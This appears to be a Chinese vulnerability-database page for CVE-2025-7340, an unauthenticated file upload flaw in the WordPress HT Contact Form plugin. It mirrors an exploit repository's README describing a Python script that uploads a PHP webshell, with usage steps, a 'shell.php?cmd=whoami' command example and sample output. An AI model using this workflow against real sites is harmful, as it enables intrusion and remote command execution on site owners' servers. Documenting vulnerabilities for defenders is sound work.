关联漏洞
标题：
WordPress plugin HT Contact Form 代码问题漏洞
(CVE-2025-7340)
描述：WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin HT Contact Form 2.2.1及之前版本存在代码问题漏洞，该漏洞源于函数temp_file_upload缺少文件类型验证，可能导致任意文件上传。
描述
HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. <= 2.2.1 - Unauthenticated Arbitrary File Upload
介绍
# 🚨 HT Contact Form Widget <= 2.2.1 - Unauthenticated Arbitrary File Upload (CVE-2025-7340)
**CVE:** CVE-2025-7340
**CVSS:** 9.8 (Critical)
## 📝 Description
The **HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder.** plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the `temp_file_upload` function in all versions up to, and including, **2.2.1**.
This allows **unauthenticated attackers** to upload arbitrary files to the server, potentially leading to **Remote Code Execution (RCE)**.
---
## ⚡ Exploit Script
This repository includes a Python exploit script that automates the discovery of the vulnerable form and uploads a webshell to the affected site.
The script intelligently detects required parameters (`nonce`, `form_id`, `ajax endpoint`) and uploads a PHP shell into the vulnerable path.
✅ **Vulnerable form URL example:**
```
http://target.com/contact/
```
✅ **The vulnerable form must be on the page you pass to `-u` option.**
---
## 📦 Requirements
Before running the script, install the required Python modules:
```bash
pip install -r requirements.txt
```
Content of `requirements.txt`:
```
requests
colorama
```
---
## 🧰 Usage
```bash
usage: CVE-2025-7340.py [-h]
Exploit for CVE-2025-7340 - Unauthenticated Arbitrary File Upload | by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target URL e.g http(s)://target.com
```
### Options:
| Option | Description |
|-------------------|-------------------------------------------------|
| `-h, --help` | Show this help message and exit |
| `-u, --url URL` | Target URL e.g. `http(s)://target.com/contact` |
---
## 🐚 Webshell Usage
Once the exploit finishes successfully, you can access your uploaded shell at the given path.
Append `?cmd=<your_command>` to execute system commands.
✅ Example:
```
http://target.com/wp-content/uploads/ht_form/temp/shell.php?cmd=whoami
```
---
## 🖥️ Example Output
```
Starting exploit against target...
Fetching target page...
Extracting parameters...
Extracted Nonce: 346c441903
AJAX Endpoint: http://nxploit.ddev.site/wp-admin/admin-ajax.php
Form ID: 86
Generating webshell...
Uploading shell, please wait...
[+] Exploit Successfully!
Go to: wp-content/uploads/ht_form/temp/687590d90ac1c-shell.php
Exploit by: Khaled Alenazi (Nxploited) - GitHub: https://github.com/Nxploited
```
---
## 🛑 Disclaimer
This tool is provided for **educational and research purposes only**.
The author is **not responsible** for any damage or misuse of this code.
Always have explicit permission before testing against any system.
---
## 👨💻 By
**Khaled Alenazi (Nxploited)**
[GitHub: Nxploited](https://github.com/Nxploited)
文件快照
[4.0K] /data/pocs/e1429f29a642ad73c5b96b3b4ddce9fde9eb10de
├── [4.1K] CVE-2025-7340.py
├── [1.1K] LICENSE
├── [2.8K] README.md
└── [ 18] requirements.txt
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。